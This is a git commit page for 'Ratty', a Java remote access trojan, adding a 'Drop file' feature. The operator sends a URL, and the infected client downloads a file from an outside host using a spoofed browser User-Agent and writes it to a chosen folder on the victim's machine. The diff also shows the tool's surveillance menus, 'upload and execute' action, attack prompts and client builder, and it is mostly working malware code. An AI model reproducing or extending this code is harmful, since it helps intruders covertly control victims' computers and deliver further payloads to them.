Browse Source

Major changes

Added DownloadUrlPacket
Fixes
master
Sogomn 9 years ago
parent
commit
c2a720831b
  1. BIN
      Ratty/res/gui_category_icons.png
  2. BIN
      Ratty/res/gui_tree_icons.png
  3. 2
      Ratty/res/language/lang.properties
  4. 2
      Ratty/res/language/lang_de.properties
  5. 2
      Ratty/res/language/lang_en.properties
  6. 31
      Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java
  7. 111
      Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java
  8. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  9. 16
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  10. 4
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  11. 13
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  12. 20
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/gui_category_icons.png

Before

Width: 64  |  Height: 16  |  Size: 363 B

After

Width: 64  |  Height: 16  |  Size: 364 B

BIN
Ratty/res/gui_tree_icons.png

Before

Width: 48  |  Height: 32  |  Size: 518 B

After

Width: 48  |  Height: 48  |  Size: 626 B

2
Ratty/res/language/lang.properties

@ -13,6 +13,7 @@ server.udp=UDP
server.attack_message=Which protocol?
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
server.url_message=Type in a URL.
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
@ -42,6 +43,7 @@ action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.drop_file=Drop file
column.name=Name
column.location=Location

2
Ratty/res/language/lang_de.properties

@ -13,6 +13,7 @@ server.udp=UDP
server.attack_message=Welches Protokoll?
server.upload_execute_warning=Die Datei wird in denselben Ordner wie die Clientdatei hochgeladen.\r\n\
Fortfahren?
server.url_message=Gib eine URL ein.
builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
builder.port_question=Welcher Port?
@ -42,6 +43,7 @@ action.execute=Datei ausf
action.delete=Datei löschen
action.new_directory=Neuen Ordner erstellen
action.upload_execute=Datei hochladen und ausführen
action.drop_file=Datei aus dem Internet laden
column.name=Name
column.location=Ort

2
Ratty/res/language/lang_en.properties

@ -13,6 +13,7 @@ server.udp=UDP
server.attack_message=Which protocol?
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
server.url_message=Type in a URL.
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
@ -42,6 +43,7 @@ action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.drop_file=Drop file
column.name=Name
column.location=Location

31
Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java

@ -7,12 +7,13 @@ import de.sogomn.rat.ActiveConnection;
public final class CreateDirectoryPacket implements IPacket {
private String path, name;
private String directoryPath, name;
private static final String FILE_SEPARATOR = "/";
private static final String SEPARATOR_REGEX = "[\\\\\\/]";
private static final String SEPARATOR = "/";
public CreateDirectoryPacket(final String path, final String name) {
this.path = path;
this.directoryPath = path.replaceAll(SEPARATOR_REGEX, SEPARATOR);
this.name = name;
}
@ -22,39 +23,41 @@ public final class CreateDirectoryPacket implements IPacket {
@Override
public void send(final ActiveConnection connection) {
connection.writeUTF(path);
connection.writeUTF(directoryPath);
connection.writeUTF(name);
}
@Override
public void receive(final ActiveConnection connection) {
path = connection.readUTF();
directoryPath = connection.readUTF();
name = connection.readUTF();
}
@Override
public void execute(final ActiveConnection connection) {
final File folder = new File(path);
final File directory = new File(directoryPath);
String fullPath = null;
String directoryPath = null;
if (folder.isDirectory()) {
fullPath = path + FILE_SEPARATOR + name;
if (directory.isDirectory()) {
directoryPath = this.directoryPath;
} else {
final File parent = folder.getParentFile();
final File parent = directory.getParentFile();
if (parent != null) {
fullPath = parent.getAbsolutePath() + FILE_SEPARATOR + name;
directoryPath = parent.getAbsolutePath();
}
}
if (fullPath != null) {
FileUtils.createFolder(fullPath);
if (directoryPath != null) {
final String path = directoryPath + File.separator + name;
FileUtils.createFolder(path);
}
}
public String getPath() {
return path;
return directoryPath;
}
public String getName() {

111
Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java

@ -1,11 +1,12 @@
package de.sogomn.rat.packet;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.List;
import java.util.Map;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveConnection;
@ -15,7 +16,12 @@ public final class DownloadUrlPacket implements IPacket {
private String address, directoryPath;
private static final String HTTP_PREFIX = "http://";
private static final String FILE_SEPARATOR = "/";
private static final String USER_AGENT = "User-Agent";
private static final String USER_AGENT_VALUE = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0";
private static final String CONNECTION = "Connection";
private static final String CONNECTION_VALUE = "close";
private static final String DEFAULT_NAME = "file";
private static final int BUFFER_SIZE = 1024;
public DownloadUrlPacket(final String address, final String directoryPath) {
this.directoryPath = directoryPath;
@ -29,29 +35,54 @@ public final class DownloadUrlPacket implements IPacket {
}
}
private byte[] readData(final String address) throws IOException {
final URL url = new URL(address);
final HttpURLConnection con = (HttpURLConnection)url.openConnection();
final Map<String, List<String>> headers = con.getHeaderFields();
final InputStream in = con.getInputStream();
final int length = in.available();
final byte[] data = new byte[length];
public DownloadUrlPacket() {
this("", "");
}
headers.keySet().stream().forEach(key -> {
final List<String> values = headers.get(key);
private void copyStream(final InputStream in, final OutputStream out) throws IOException {
final byte[] buffer = new byte[BUFFER_SIZE];
System.out.print(key + ": ");
int bytesRead = 0;
for (final String value : values) {
System.out.print(value + " ");
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
}
System.out.println();
});
private DesktopFile readFile(final String address) throws IOException {
final URL url = new URL(address);
final HttpURLConnection con = (HttpURLConnection)url.openConnection();
in.read(data);
con.setRequestProperty(USER_AGENT, USER_AGENT_VALUE);
con.setRequestProperty(CONNECTION, CONNECTION_VALUE);
con.connect();
return data;
final InputStream in = con.getInputStream();
final String fileName = con.getURL().getFile();
final int lastSlash = fileName.lastIndexOf("/");
final int questionMark = fileName.indexOf("?");
final String name;
final ByteArrayOutputStream out = new ByteArrayOutputStream();
copyStream(in, out);
out.close();
in.close();
if (lastSlash != -1) {
if (questionMark != -1) {
name = fileName.substring(lastSlash + 1, questionMark);
} else {
name = fileName.substring(lastSlash + 1);
}
} else {
name = DEFAULT_NAME;
}
final byte[] data = out.toByteArray();
final DesktopFile file = new DesktopFile(name, data);
return file;
}
@Override
@ -68,14 +99,50 @@ public final class DownloadUrlPacket implements IPacket {
@Override
public void execute(final ActiveConnection connection) {
final File directory = new File(directoryPath);
String directoryPath = null;
if (directory.isDirectory()) {
directoryPath = this.directoryPath;
} else {
final File parent = directory.getParentFile();
if (parent != null) {
directoryPath = parent.getAbsolutePath();
}
}
if (directoryPath != null) {
try {
final String path = directoryPath + FILE_SEPARATOR + "";
final byte[] data = readData(address);
final DesktopFile file = readFile(address);
FileUtils.writeData(path, data);
file.write(directoryPath);
} catch (final NullPointerException ex) {
//...
} catch (final IOException ex) {
ex.printStackTrace();
}
}
}
private static class DesktopFile {
final String name;
final byte[] data;
public DesktopFile(final String name, final byte[] data) {
this.name = name;
this.data = data;
}
public void write(final String directoryPath) {
final String path = directoryPath + File.separator + name;
FileUtils.createFile(path);
FileUtils.writeData(path, data);
}
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -23,7 +23,8 @@ public enum PacketType {
VOICE(16, VoicePacket.class),
WEBSITE(17, WebsitePacket.class),
AUDIO(18, AudioPacket.class),
PING(19, PingPacket.class);
PING(19, PingPacket.class),
DOWNLOAD_URL(20, DownloadUrlPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

16
Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -12,16 +12,16 @@ public final class UploadFilePacket implements IPacket {
private String directoryPath, fileName;
private static final String USER_DIR = "user.dir";
private static final String FILE_SEPARATOR = "/";
private static final String SEPARATOR_REGEX = "[\\\\\\/]";
private static final String SEPARATOR = "/";
public UploadFilePacket(final String filePath, final String directoryPath) {
this.directoryPath = directoryPath;
this.directoryPath = directoryPath.replaceAll(SEPARATOR_REGEX, SEPARATOR);
final File file = new File(filePath);
data = FileUtils.readExternalData(filePath);
fileName = file.getName().replaceAll(SEPARATOR_REGEX, "/");
fileName = file.getName();
}
public UploadFilePacket(final File file, final String folderPath) {
@ -62,19 +62,21 @@ public final class UploadFilePacket implements IPacket {
public void execute(final ActiveConnection connection) {
final File directory = new File(directoryPath);
String path = null;
String directoryPath = null;
if (directory.isDirectory()) {
path = directoryPath + FILE_SEPARATOR + fileName;
directoryPath = this.directoryPath;
} else {
final File parent = directory.getParentFile();
if (parent != null) {
path = parent.getAbsolutePath() + FILE_SEPARATOR + fileName;
directoryPath = parent.getAbsolutePath();
}
}
if (path != null) {
if (directoryPath != null) {
final String path = directoryPath + File.separator + fileName;
FileUtils.writeData(path, data);
}
}

4
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -46,6 +46,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
public static final String EXECUTE = LANGUAGE.getString("action.execute");
public static final String DELETE = LANGUAGE.getString("action.delete");
public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory");
public static final String DROP_FILE = LANGUAGE.getString("action.drop_file");
public static final String[] COMMANDS = {
REQUEST,
@ -53,7 +54,8 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
UPLOAD,
EXECUTE,
DELETE,
NEW_DIRECTORY
NEW_DIRECTORY,
DROP_FILE
};
public FileTree() {

13
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -63,13 +63,13 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(GUI_ICON_SMALL, 128, 128);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_menu_icons.png"), 2), 16 * 2, 16 * 2).getSprites();
private static final SpriteSheet CATEGORY_SHEET = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_category_icons.png"), 2), 16 * 2, 16 * 2);
private static final BufferedImage FILE_MANAGEMENT_ICON = CATEGORY_SHEET.getSprite(0);
private static final BufferedImage SURVEILLANCE_ICON = CATEGORY_SHEET.getSprite(1);
private static final BufferedImage SURVEILLANCE_ICON = CATEGORY_SHEET.getSprite(0);
private static final BufferedImage FILE_MANAGEMENT_ICON = CATEGORY_SHEET.getSprite(1);
private static final BufferedImage UTILITY_ICON = CATEGORY_SHEET.getSprite(2);
private static final BufferedImage OTHER_ICON = CATEGORY_SHEET.getSprite(3);
private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management");
private static final String SURVEILLANCE = LANGUAGE.getString("menu.surveillance");
private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management");
private static final String UTILITY = LANGUAGE.getString("menu.utility");
private static final String OTHER = LANGUAGE.getString("menu.other");
private static final HashMap<String, BufferedImage> FILE_MANAGEMENT_ITEM_DATA = new HashMap<String, BufferedImage>();
@ -126,12 +126,14 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
final int rowIndex = table.rowAtPoint(mousePoint);
lastServerClientClicked = tableModel.getServerClient(rowIndex);
table.setRowSelectionInterval(rowIndex, rowIndex);
}
};
final String currentPath = System.getProperty("user.dir");
final File currentDirectory = new File(currentPath);
final JMenu fileManagement = createMenu(FILE_MANAGEMENT, FILE_MANAGEMENT_ICON, FILE_MANAGEMENT_ITEM_DATA);
final JMenu surveillance = createMenu(SURVEILLANCE, SURVEILLANCE_ICON, SURVEILLANCE_ITEM_DATA);
final JMenu fileManagement = createMenu(FILE_MANAGEMENT, FILE_MANAGEMENT_ICON, FILE_MANAGEMENT_ITEM_DATA);
final JMenu utility = createMenu(UTILITY, UTILITY_ICON, UTILITY_ITEM_DATA);
final JMenu other = createMenu(OTHER, OTHER_ICON, OTHER_ITEM_DATA);
final JTableHeader tableHeader = table.getTableHeader();
@ -144,9 +146,10 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
build.addActionListener(this::actionPerformed);
menuBar.add(build);
menuBar.add(attack);
menu.add(fileManagement);
menu.add(surveillance);
menu.add(fileManagement);
menu.add(utility);
menu.addSeparator();
menu.add(other);
scrollPane.setBorder(null);
table.setComponentPopupMenu(menu);

20
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -20,6 +20,7 @@ import de.sogomn.rat.packet.CreateDirectoryPacket;
import de.sogomn.rat.packet.DeleteFilePacket;
import de.sogomn.rat.packet.DesktopPacket;
import de.sogomn.rat.packet.DownloadFilePacket;
import de.sogomn.rat.packet.DownloadUrlPacket;
import de.sogomn.rat.packet.ExecuteFilePacket;
import de.sogomn.rat.packet.FileRequestPacket;
import de.sogomn.rat.packet.FreePacket;
@ -73,6 +74,7 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
private static final String UPLOAD_EXECUTE_WARNING = LANGUAGE.getString("server.upload_execute_warning");
private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message");
private static final Sound PING = Sound.loadSound("/ping.wav");
@ -114,7 +116,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private WebsitePacket createWebsitePacket() {
final String input = gui.getInput();
final String input = gui.getInput(URL_MESSAGE);
if (input != null) {
final WebsitePacket packet = new WebsitePacket(input);
@ -287,6 +289,20 @@ public final class RattyGuiController extends AbstractRattyController implements
client.connection.addPacket(execute);
}
private DownloadUrlPacket createDownloadUrlPacket(final ServerClient client) {
final String address = gui.getInput(URL_MESSAGE);
if (address != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final DownloadUrlPacket packet = new DownloadUrlPacket(address, path);
return packet;
}
return null;
}
private void handleCommand(final ServerClient client, final String command) {
if (command == RattyGui.FILES) {
client.fileTree.setVisible(true);
@ -336,6 +352,8 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createDeletePacket(client);
} else if (command == FileTree.NEW_DIRECTORY) {
packet = createFolderPacket(client);
} else if (command == FileTree.DROP_FILE) {
packet = createDownloadUrlPacket(client);
} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {

Loading…
Cancel
Save